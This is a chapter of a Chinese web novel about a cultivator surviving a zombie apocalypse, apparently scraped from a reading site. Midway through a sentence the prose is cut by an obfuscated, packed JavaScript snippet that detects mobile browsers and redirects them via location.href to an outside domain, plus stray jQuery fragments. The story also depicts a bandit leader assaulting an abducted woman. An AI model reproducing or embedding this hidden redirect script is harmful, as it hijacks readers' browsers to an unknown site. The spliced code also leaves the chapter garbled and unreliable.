18. 第 18 章

作品:《末世经营,顺带修仙[位面]

    就在她犹豫着要不要叨扰师傅询问一番的时候,霜序仙君先给她发来了消息。


    霜序仙君:【这晶核的能量倒是特殊,与灵石同源,只是掺杂了些许杂质,少量吸收可益于修炼,切记不要贪多,你的根基尚不稳固,还需刻苦修炼,你所在的位面发生如此巨大的变故,只怕世道会越来越乱,要小心,如果有危险,务必要告知为师。】


    【原来这晶核真的是好东西,那个……寒羽不小心吃了几颗,应该不会对它有什么影响吧。】


    田一落心虚的抱着寒羽,搓着手等待屏幕那边的回复,像极了产房外没用的男人。


    霜序仙君:【寒羽是我在北域雪山带回来的雪燕幻化,北域奇毒猛兽无数,都不能伤它分毫,寒羽只是有点贪吃,无碍的。】


    【那我就放心了,师尊您不是要闭关吗,如果一只有问题打搅您,会不会耽误修炼啊?】


    霜序仙君:【已出关!】


    【恭喜师傅,我现在生活的地方有点危险,要带着寒羽找个地方落脚,等我碰上难懂的问题再打搅您!】


    【去吧!】


    氤氲仙境,鎏金大殿前,青玉砌成的台阶上,万千弟子仰望高台中央的白衣仙君,长发被一节普通玉簪束起,广袖垂落,月白暗纹隐隐浮动矜贵之姿。


    “弟子愿拜霜序仙君为师!”此次宗门大比的魁首身姿如松,不卑不亢的跪在大殿前高声请求。


    大殿之上,俊逸无双的男人,冷冽的眸光空洞盯着眼前,周围沉寂片刻,下方已经隐隐涌现低语。


    “仙君怎么不说话?”


    “估计是在思考吧。”


    “松言师兄那可是难得一见的单灵根天才,又是大比魁首,不算辱没了师门。”


    眼见四周议论声喧嚣而上。


    “师叔,师叔?”另一侧掌门低声提醒。


    “……本座已收关门弟子,不再纳徒!”


    话音刚落,殿前立即传出更大声音的讨论。


    “仙君不是刚出关吗?什么时候又收了徒弟?”


    “方辞和朝予两位入门弟子,一个在南境一个在北岭,斩妖除魔拯救苍生,仙君身边总需要个跑腿办事的小徒弟,只是没想到仙君只收三个徒弟。”


    “哎……”


    “算了算了,别叹气了,咱们资质一般,有师傅愿意收就不错了!”


    “不知仙尊收了何人,在下愿与之比试,只求仙尊给一个随侍左右的机会!”少年目光炯炯,言语恳切,一副不撞南墙誓不回头的架势。


    众弟子看不清高台上之人的面容,但想来是温柔的,连言语中都带着笑意,“她从前过得很苦,但天资好性格也好,如今好不容易改善了一些,身为师尊,自然想全心全意教导于她……”


    言下之意,你比不上!


    “哈哈哈哈哈,呃,既然师叔已经收了爱徒,本座倒是缺个小徒,你若愿意拜入我门下,也可随时向师叔祖请教!”掌门清玄适时出来打圆场。


    那双目空一切的眼睛顿了顿,看向师侄,没有丝毫情绪波动,“怕是要拂了你的意,近日正打算外出游历。”


    “师叔闭关已久,外出走走也好。”清玄说着又看向青玉台阶下跪姿笔挺的少年,眸中尽是满意,这么好的苗子,师叔不收,就只能便宜她了,“松言,你意下如何?”


    跪在众弟子之首的俊朗少年抿了抿嘴,却也知道拜掌门为师是当下最好的选择,缓缓在众人的见证下磕头拜师。


    ……


    尘土飞扬的公路上,引擎的轰鸣远远炸开,田一落紧攥方向盘,铺开神识关注周围异动,不敢有丝毫的懈怠。


    虽说博物馆距离岐南市中心还有很远的距离,但路上的丧尸却还真不少。挡风玻璃上斑驳的血渍模糊了视线,车窗外,周身溃败的丧尸如潮水般扭曲着追逐在车尾……


    “呼……真难缠啊!”说着,一脚油门,车子弹射了出去。


    夜幕降临,又行驶了几个路口,才终于将那一大波丧尸远远甩在了后面。


    漆黑的天幕笼罩下来,只剩两盏车灯照亮前方的路,时间来到后半夜,坐了十几个小时,实在有点疲乏。况且她也不能一直跟正常作息唱反调,田一落缓缓将车停在了路旁,朝前看了看,一排淡红色矮楼,看样子像厂房。


    “厂房……”田一落默念这两个字,总觉得有些熟悉。


    眉头一拧,又翻来地图,对比着厂房上方竖着的大字,神情探究,随即变成狠戾,手掌一翻,寒羽自己跳了上来,低声嗡鸣。


    竟然还真让她碰上了那群打劫为生的强盗,张维凡真是料事如神,下午被尸潮围攻,慌忙选了一条小路,没想到竟然一头撞到这里。


    不过来都来了,空间新多出来那么多空闲,扭头离开确实不是她的性格。


    既然如此,那就做点好事,看看这群人的实力如何,顺道试试炼气一层的手段,黑吃黑,多存点物资。


    把车子收人空间,孤身一人潜入被黑夜笼罩的矮楼,高耸的树木在墨色里若隐若现,微风拂面,带来阵阵恶臭。


    刚走没两步,不远处传来窸窸窣窣的脚步声和压低声线的交谈,田一落闪身躲进灌木丛,屏息以待。


    “踏马滴,明明听见刹车声了,怎么没人呐?”一个男人手里拿着铁棍,畏畏缩缩道。


    一旁的男人举着个萤火似的手电筒,“废什么话,有人都被你吓跑了,再找找,老大说再劫不着人就不发食物,你想饿死吗?”


    “那你说咋办,我把家里婆娘都舍出去了,却连口饭都吃不饱……”


    “少跟我抱怨,那是你没本事,快点找人。”


    见他们互相怨怼着远走,田一落白了一眼,十分鄙夷,却也不想因为这二人耽误计划,赶紧顺着两人来时的方向寻过去。


    又走了几分钟,翻过半塌的院墙,发觉厂房内部别有天地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922686|176791||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,一侧水泥院落停满了锃亮的豪车和货车,另一侧是用防水布遮盖起来的小山,知道有人掀开帘子取物资,她才发现那竟然是个用物资堆起来的“山”,米面粮油、日用百货应有尽有。


    “竟然有这么多物资!”田一落心中腹诽,想起刚刚那两个男人的对话,瞬间更加鄙夷。


    守着这么多的食物,却连自己的女人都保护不了,如果待在这里吃不饱饭,想办法逃离打拼也不是不行,这就是人没本事、还非找借口出卖女人的肮脏货色。


    小山周围有几个男人挑灯打牌,脸色黑红,目光迷离,看样子喝了不少,这几个货色看守物资,想收走这些东西也不难,但如果想悄无声息的不引起别人注意就有点难了。


    她现在的境界还不够,等日后修为更高一点,就能学习更强大的幻术,到时候说不定就能神不知鬼不觉的偷天换日。


    “既然如此……那没有人不就得了!”少女狡黠的勾了勾嘴角。


    浓墨色的夜里,一群无视人性的亡命之徒正在烛火下肆意宣泄情绪,却不知危险正在悄然逼近。


    女孩一身黑衣,轻而易举割破锈迹斑斑的铁丝网,进入了厂房更加核心的区域,每隔十几分钟,就会有一群人吹着牛皮的人从这里经过,她要尽量在这群人下次巡视过来的时候找到那个该死的头头。


    回想着师傅传授她的仙法,“神识”,能够在一定范围内无视阻挡探查周遭事物,更高阶的修士甚至可以随意看透人的灵魂。


    淡蓝色的光点从指尖蔓延,屏息凝神,缓缓将神识散播出去,渐渐地,整个厂房的布局逐渐出现在她的脑海当中,一间间屋子探寻过去,睡觉的、吃饭的、玩牌的、还有……


    突如其来的混乱场面实在让人招架不住,那么迷你的小东西一个劲乱颤,实在有点恶心,田一落猛地一个激灵,急忙闭眼摇头,试图将自己刚刚看见的污秽景象甩出去,可偏偏那短小却死装的油腻画面就像自带什么病毒系统,反复在脑海里重映。


    “呕……呕!”从丧尸堆闯出来她都没有这么大的反应,真是开了眼了。


    趁着这群人寻欢作乐的短暂时间,她得赶紧出手,话说擒贼先擒王,必须把这个小东西剁下来解气,以抚慰受伤的心灵。


    厂房西北角装饰豪华的二层小楼里,贼头王建刚迷迷糊糊的喝了个半醉,正对掳来的女人施暴。


    “臭娘们,你男人没本事,把你抵给劳资了,少给我装什么贞洁烈女……”


    “呦呦呦,瞧瞧这细皮嫩肉的,前几天那嚣张劲儿呢?还不是得乖乖跟了我,要我说你妹子那风吹就倒的身体还是算了吧,自己跟着我吃香喝辣岂不快活。”男人满身横肉,一副山大王架势,拍了拍西瓜大小的肚皮,露出油腻又猥琐的笑。


    门口几个壮汉听着屋内的动静,也都是不怀好意的奸笑,挠着燥热不安身体,不住吞咽口水,期待着屋内老大完事他们能尝到点“甜头”。